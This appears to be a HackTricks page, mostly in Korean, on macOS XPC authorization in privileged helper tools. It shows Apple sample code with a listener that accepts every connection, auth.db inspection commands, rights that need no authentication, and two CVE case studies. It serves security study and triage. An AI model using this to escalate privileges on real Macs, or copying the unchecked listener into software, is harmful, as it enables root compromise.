macOS XPC ๊ถŒํ•œ ๋ถ€์—ฌ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

XPC ๊ถŒํ•œ

Apple์€ ์—ฐ๊ฒฐํ•˜๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋…ธ์ถœ๋œ XPC ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•  ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ ์ธ์ฆํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ œ์•ˆํ•œ๋‹ค.

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ถŒํ•œ ์žˆ๋Š” ์‚ฌ์šฉ์ž๋กœ์„œ ๋™์ž‘์„ ์‹คํ–‰ํ•ด์•ผ ํ•  ๋•Œ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ž์ฒด๋ฅผ ๊ถŒํ•œ ์žˆ๋Š” ์‚ฌ์šฉ์ž๋กœ ์‹คํ–‰ํ•˜๋Š” ๋Œ€์‹  ๋ณดํ†ต ๋ฃจํŠธ๋กœ HelperTool์„ ์„ค์น˜ํ•˜์—ฌ ์•ฑ์—์„œ ํ˜ธ์ถœํ•ด ํ•ด๋‹น ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋Š” XPC ์„œ๋น„์Šค๋กœ ์‚ฌ์šฉํ•œ๋‹ค. ํ•˜์ง€๋งŒ ๊ทธ ์„œ๋น„์Šค๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ์•ฑ์€ ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ ธ์•ผ ํ•œ๋‹ค.

ShouldAcceptNewConnection ํ•ญ์ƒ YES

์˜ˆ์ œ๋Š” EvenBetterAuthorizationSample์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค. App/AppDelegate.m์—์„œ๋Š” HelperTool์— ์—ฐ๊ฒฐํ•˜๋ ค๊ณ  ํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  HelperTool/HelperTool.m์—์„œ๋Š” ํ•จ์ˆ˜ **shouldAcceptNewConnection**๊ฐ€ ์•ž์„œ ์–ธ๊ธ‰ํ•œ ์–ด๋–ค ์š”๊ตฌ ์‚ฌํ•ญ๋„ ํ™•์ธํ•˜์ง€ ์•Š๋Š”๋‹ค. ํ•ญ์ƒ YES๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in.  We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);

newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];

return YES;
}

์ด ๊ฒ€์‚ฌ๋ฅผ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ตฌ์„ฑํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€:

macOS XPC Connecting Process Check

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๊ถŒํ•œ

ํ•˜์ง€๋งŒ, HelperTool์˜ ๋ฉ”์„œ๋“œ๊ฐ€ ํ˜ธ์ถœ๋  ๋•Œ authorization ์ฒ˜๋ฆฌ๊ฐ€ ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค.

App/AppDelegate.m์˜ ํ•จ์ˆ˜ **applicationDidFinishLaunching**๋Š” ์•ฑ์ด ์‹œ์ž‘๋œ ํ›„ ๋นˆ authorization reference๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ•ญ์ƒ ๋™์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฐ ๋‹ค์Œ, setupAuthorizationRights๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ํ•ด๋‹น authorization reference์— ๊ถŒํ•œ์„ ์ถ”๊ฐ€ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค:

- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);

// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).

if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}

[self.window makeKeyAndOrderFront:self];
}

Common/Common.m์˜ setupAuthorizationRights ํ•จ์ˆ˜๋Š” ์ธ์ฆ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค /var/db/auth.db์— ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ถŒํ•œ์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์•„์ง ์—†๋Š” ๊ถŒํ•œ๋งŒ ์ถ”๊ฐ€ํ•œ๋‹ค๋Š” ์ ์„ ์ฃผ๋ชฉํ•˜์„ธ์š”:

+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus    blockErr;

// First get the right.  If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.

blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef,                                    // authRef
[authRightName UTF8String],                 // rightName
(__bridge CFTypeRef) authRightDefault,      // rightDefinition
(__bridge CFStringRef) authRightDesc,       // descriptionKey
NULL,                                       // bundle (NULL implies main bundle)
CFSTR("Common")                             // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run.  Either way, there's nothing more for
// us to do.
}
}];
}

ํ•จ์ˆ˜ enumerateRightsUsingBlock์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ถŒํ•œ์„ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋ฉฐ, ํ•ด๋‹น ๊ถŒํ•œ๋“ค์€ commandInfo์— ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

static NSString * kCommandKeyAuthRightName    = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc    = @"authRightDescription";

+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary *  sCommandInfo;

dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName    : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc    : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}

+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}

+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary *  commandDict;
NSString *      authRightName;
id              authRightDefault;
NSString *      authRightDesc;

// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.

commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);

authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);

authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);

authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);

block(authRightName, authRightDefault, authRightDesc);
}];
}

์ด๊ฒƒ์€ ์ด ๊ณผ์ •์ด ๋๋‚˜๋ฉด commandInfo ๋‚ด์— ์„ ์–ธ๋œ ๊ถŒํ•œ๋“ค์ด /var/db/auth.db์— ์ €์žฅ๋œ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๊ฑฐ๊ธฐ์—์„œ๋Š” ๊ฐ ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•ด ์ธ์ฆ์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ, ๊ถŒํ•œ ์ด๋ฆ„(permission name) ๋ฐ **kCommandKeyAuthRightDefault**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ›„์ž๋Š” ๋ˆ„๊ฐ€ ์ด ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

๊ถŒํ•œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ์ฒด๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๋‹ค์–‘ํ•œ ๋ฒ”์œ„๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์ค‘ ์ผ๋ถ€๋Š” AuthorizationDB.h (you can find all of them in here)์— ์ •์˜๋˜์–ด ์žˆ์œผ๋ฉฐ, ์š”์•ฝํ•˜๋ฉด:

์ด๋ฆ„๊ฐ’์„ค๋ช…
kAuthorizationRuleClassAllowallow๋ˆ„๊ตฌ๋‚˜
kAuthorizationRuleClassDenydeny์•„๋ฌด๋„
kAuthorizationRuleIsAdminis-adminํ˜„์žฌ ์‚ฌ์šฉ์ž๊ฐ€ admin(๊ด€๋ฆฌ์ž) ๊ทธ๋ฃน์˜ ์ผ์›์ด์–ด์•ผ ํ•จ
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-owner์‚ฌ์šฉ์ž์—๊ฒŒ ์ธ์ฆ์„ ์š”๊ตฌํ•จ.
kAuthorizationRuleAuthenticateAsAdminauthenticate-admin์‚ฌ์šฉ์ž์—๊ฒŒ ์ธ์ฆ์„ ์š”๊ตฌํ•จ. ์‚ฌ์šฉ์ž๋Š” admin(๊ด€๋ฆฌ์ž) ๊ทธ๋ฃน์˜ ์ผ์›์ด์–ด์•ผ ํ•จ
kAuthorizationRightRulerule๊ทœ์น™์„ ์ง€์ •
kAuthorizationCommentcomment๊ถŒํ•œ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์„ค๋ช…์„ ์ง€์ •

๊ถŒํ•œ ํ™•์ธ

In HelperTool/HelperTool.m the function readLicenseKeyAuthorization checks if the caller is authorized to execute such method calling the function checkAuthorization. This function will check the authData sent by the calling process has a correct format and then will check what is needed to get the right to call the specific method. If all goes good the returned error will be nil:

- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]

// First check that authData looks reasonable.

error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}

// Create an authorization ref from that the external form data contained within.

if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);

// Authorize the right associated with the command.

if (err == errAuthorizationSuccess) {
AuthorizationItem   oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights   = { 1, &oneRight };

oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);

err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}

if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}

return error;
}

์ฃผ์˜: ํ•ด๋‹น ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•  ๊ถŒํ•œ์„ ์–ป๊ธฐ ์œ„ํ•œ ์š”๊ตฌ์‚ฌํ•ญ์„ ํ™•์ธํ•˜๋ ค๋ฉด ํ•จ์ˆ˜ authorizationRightForCommand๋Š” ์ด์ „์— ์ฃผ์„ ์ฒ˜๋ฆฌ๋œ ๊ฐ์ฒด **commandInfo**๋งŒ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ๋‹ค์Œ, ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด **AuthorizationCopyRights**๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค(ํ”Œ๋ž˜๊ทธ๊ฐ€ ์‚ฌ์šฉ์ž์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์„ ํ—ˆ์šฉํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”).

์ด ๊ฒฝ์šฐ ํ•จ์ˆ˜ readLicenseKeyAuthorization๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•ด kCommandKeyAuthRightDefault๋Š” @kAuthorizationRuleClassAllow๋กœ ์ •์˜๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ˆ„๊ตฌ๋‚˜ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DB ์ •๋ณด

์ด ์ •๋ณด๋Š” /var/db/auth.db์— ์ €์žฅ๋˜์–ด ์žˆ๋‹ค๊ณ  ์–ธ๊ธ‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ €์žฅ๋œ ๋ชจ๋“  ๊ทœ์น™์€ ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';

๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ๋ˆ„๊ฐ€ ํ•ด๋‹น ๊ถŒํ•œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

security authorizationdb read com.apple.safaridriver.allow

ํ—ˆ์šฉ ๊ถŒํ•œ

You can find all the permissions configurations in here, but the combinations that wonโ€™t require user interaction would be:

  1. โ€˜authenticate-userโ€™: โ€˜falseโ€™
  • ์ด๊ฒƒ์€ ๊ฐ€์žฅ ์ง์ ‘์ ์ธ ํ‚ค์ž…๋‹ˆ๋‹ค. false๋กœ ์„ค์ •๋˜๋ฉด ์‚ฌ์šฉ์ž๊ฐ€ ์ด ๊ถŒํ•œ์„ ์–ป๊ธฐ ์œ„ํ•ด ์ธ์ฆ์„ ์ œ๊ณตํ•  ํ•„์š”๊ฐ€ ์—†์Œ์„ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค.
  • ์ด๋Š” ์•„๋ž˜ ๋‘ ๊ฐ€์ง€ ์ค‘ ํ•˜๋‚˜์™€ ๊ฒฐํ•ฉ๋˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž๊ฐ€ ์†ํ•ด์•ผ ํ•˜๋Š” ๊ทธ๋ฃน์„ ์ง€์ •ํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  1. โ€˜allow-rootโ€™: โ€˜trueโ€™
  • ์‚ฌ์šฉ์ž๊ฐ€ root user๋กœ ์ž‘๋™ํ•˜๊ณ (๊ถŒํ•œ์ด ์ƒ์Šน๋œ ์ƒํƒœ), ์ด ํ‚ค๊ฐ€ true๋กœ ์„ค์ •๋˜์–ด ์žˆ์œผ๋ฉด root user๋Š” ์ถ”๊ฐ€ ์ธ์ฆ ์—†์ด ์ด ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ผ๋ฐ˜์ ์œผ๋กœ root user ์ƒํƒœ์— ๋„๋‹ฌํ•˜๋ ค๋ฉด ์ด๋ฏธ ์ธ์ฆ์ด ํ•„์š”ํ•˜๋ฏ€๋กœ ๋Œ€๋ถ€๋ถ„์˜ ์‚ฌ์šฉ์ž์—๊ฒŒ๋Š” โ€œ์ธ์ฆ ์—†์Œโ€ ์‹œ๋‚˜๋ฆฌ์˜ค๋Š” ์•„๋‹™๋‹ˆ๋‹ค.
  1. โ€˜session-ownerโ€™: โ€˜trueโ€™
  • true๋กœ ์„ค์ •๋˜๋ฉด ์„ธ์…˜ ์†Œ์œ ์ž(ํ˜„์žฌ ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž)๊ฐ€ ์ž๋™์œผ๋กœ ์ด ๊ถŒํ•œ์„ ์–ป์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฏธ ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ๋ผ๋ฉด ์ถ”๊ฐ€ ์ธ์ฆ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  1. โ€˜sharedโ€™: โ€˜trueโ€™
  • ์ด ํ‚ค๋Š” ์ธ์ฆ ์—†์ด ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋Œ€์‹  true๋กœ ์„ค์ •๋˜๋ฉด ๊ถŒํ•œ์ด ํ•œ ๋ฒˆ ์ธ์ฆ๋œ ํ›„์—๋Š” ๊ฐ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋‹ค์‹œ ์ธ์ฆํ•  ํ•„์š” ์—†์ด ์—ฌ๋Ÿฌ ํ”„๋กœ์„ธ์Šค ๊ฐ„์— ๊ณต์œ ๋  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ดˆ๊ธฐ ๊ถŒํ•œ ๋ถ€์—ฌ๋Š” ์—ฌ์ „ํžˆ 'authenticate-user': 'false'์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ํ‚ค์™€ ๊ฒฐํ•ฉ๋˜์ง€ ์•Š๋Š” ํ•œ ์ธ์ฆ์„ ํ•„์š”๋กœ ํ•ฉ๋‹ˆ๋‹ค.

You can use this script to get the interesting rights:

Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)

Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard

Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui

Authorization Bypass Case Studies

  • CVE-2024-4395 โ€“ Jamf Compliance Editor helper: ๊ฐ์‚ฌ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด /Library/LaunchDaemons/com.jamf.complianceeditor.helper.plist๊ฐ€ ์„ค์น˜๋˜๊ณ , Mach ์„œ๋น„์Šค com.jamf.complianceeditor.helper๊ฐ€ ๋…ธ์ถœ๋˜๋ฉฐ ํ˜ธ์ถœ์ž์˜ AuthorizationExternalForm์ด๋‚˜ ์ฝ”๋“œ ์„œ๋ช…์„ ํ™•์ธํ•˜์ง€ ์•Š๊ณ  -executeScriptAt:arguments:then:๋ฅผ export ํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์†Œํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์€ AuthorizationCreate๋กœ ๋นˆ ์ฐธ์กฐ๋ฅผ ๋งŒ๋“ค๊ณ  [[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged]๋กœ ์—ฐ๊ฒฐํ•œ ๋’ค ํ•ด๋‹น ๋ฉ”์„œ๋“œ๋ฅผ ํ˜ธ์ถœํ•ด ์ž„์˜์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ root๋กœ ์‹คํ–‰์‹œํ‚ต๋‹ˆ๋‹ค. ์ „์ฒด ๋ฆฌ๋ฒ„์‹ฑ ๋…ธํŠธ(๋ฐ PoC)๋Š” Mykola Grymalyukโ€™s write-up์— ์žˆ์Šต๋‹ˆ๋‹ค.
  • CVE-2025-25251 โ€“ FortiClient Mac helper: FortiClient Mac 7.0.0โ€“7.0.14, 7.2.0โ€“7.2.8 ๋ฐ 7.4.0โ€“7.4.2๋Š” ๊ถŒํ•œ ๊ฒ€์ฆ์ด ์—†๋Š” privileged helper์— ๋„๋‹ฌํ•˜๋Š” ์กฐ์ž‘๋œ XPC ๋ฉ”์‹œ์ง€๋ฅผ ์ˆ˜๋ฝํ–ˆ์Šต๋‹ˆ๋‹ค. helper๊ฐ€ ์ž์ฒด์˜ privileged AuthorizationRef๋ฅผ ์‹ ๋ขฐํ–ˆ๊ธฐ ๋•Œ๋ฌธ์—, ์„œ๋น„์Šค์— ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋Š” ๋กœ์ปฌ ์‚ฌ์šฉ์ž๋Š” ์ด๋ฅผ ์ด์šฉํ•ด ์ž„์˜์˜ ์„ค์ • ๋ณ€๊ฒฝ์ด๋‚˜ ๋ช…๋ น์„ root๋กœ ์‹คํ–‰ํ•˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ SentinelOneโ€™s advisory summary๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”.

Rapid triage tips

  • ์•ฑ์ด GUI์™€ helper๋ฅผ ํ•จ๊ป˜ ๋ฐฐํฌํ•  ๋•Œ๋Š” ๋‘ ๊ตฌ์„ฑ์š”์†Œ์˜ code requirements๋ฅผ ๋น„๊ต(diff)ํ•˜๊ณ  shouldAcceptNewConnection๊ฐ€ ๋ฆฌ์Šค๋„ˆ๋ฅผ -setCodeSigningRequirement:๋กœ ์ž ๊ทธ๋Š”์ง€(๋˜๋Š” SecCodeCopySigningInformation์„ ๊ฒ€์ฆํ•˜๋Š”์ง€) ํ™•์ธํ•˜์„ธ์š”. ๊ฒ€์‚ฌ ๋ˆ„๋ฝ์€ ์ผ๋ฐ˜์ ์œผ๋กœ Jamf ์‚ฌ๋ก€์ฒ˜๋Ÿผ CWE-863 ์‹œ๋‚˜๋ฆฌ์˜ค๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค. ๋น ๋ฅธ ํ™•์ธ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด์ž…๋‹ˆ๋‹ค:
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
  • ํ—ฌํผ๊ฐ€ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋Š” ๊ฒƒ๊ณผ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•˜๋Š” ๊ฒƒ์„ ๋น„๊ตํ•˜๋ผ. ๋ฆฌ๋ฒ„์‹ฑํ•  ๋•Œ๋Š” AuthorizationCopyRights์—์„œ ์ค‘๋‹จํ•˜๊ณ  AuthorizationRef๊ฐ€ ํ—ฌํผ์˜ ์ž์ฒด ๊ถŒํ•œ ์žˆ๋Š” ์ปจํ…์ŠคํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•œ AuthorizationCreateFromExternalForm์—์„œ ๋น„๋กฏ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋ผ. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์œ„ ์‚ฌ๋ก€๋“ค๊ณผ ์œ ์‚ฌํ•œ CWE-863 ํŒจํ„ด์„ ๋ฐœ๊ฒฌํ•œ ๊ฒƒ์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค.

๊ถŒํ•œ ๋ฆฌ๋ฒ„์‹ฑ

EvenBetterAuthorization ์‚ฌ์šฉ ์—ฌ๋ถ€ ํ™•์ธ

ํ•จ์ˆ˜ [HelperTool checkAuthorization:command:] ๋ฅผ ์ฐพ์œผ๋ฉด, ํ•ด๋‹น ํ”„๋กœ์„ธ์Šค๊ฐ€ ์•ž์„œ ์–ธ๊ธ‰ํ•œ ๊ถŒํ•œ ๋ถ€์—ฌ ์Šคํ‚ค๋งˆ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค:

์ด ๊ฒฝ์šฐ, ๋งŒ์•ฝ ์ด ํ•จ์ˆ˜๊ฐ€ AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค๋ฉด, EvenBetterAuthorizationSample๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” ๊ฒƒ์ด๋‹ค.

/var/db/auth.db ๋ฅผ ํ™•์ธํ•ด์„œ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์—†์ด ์ผ๋ถ€ ๊ถŒํ•œ ์žˆ๋Š” ๋™์ž‘์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ผ.

ํ”„๋กœํ† ์ฝœ ํ†ต์‹ 

๊ทธ ๋‹ค์Œ์œผ๋กœ, XPC ์„œ๋น„์Šค์™€ ํ†ต์‹ ์„ ์ˆ˜๋ฆฝํ•  ์ˆ˜ ์žˆ๋„๋ก ํ”„๋กœํ† ์ฝœ ์Šคํ‚ค๋งˆ๋ฅผ ์ฐพ์•„์•ผ ํ•œ๋‹ค.

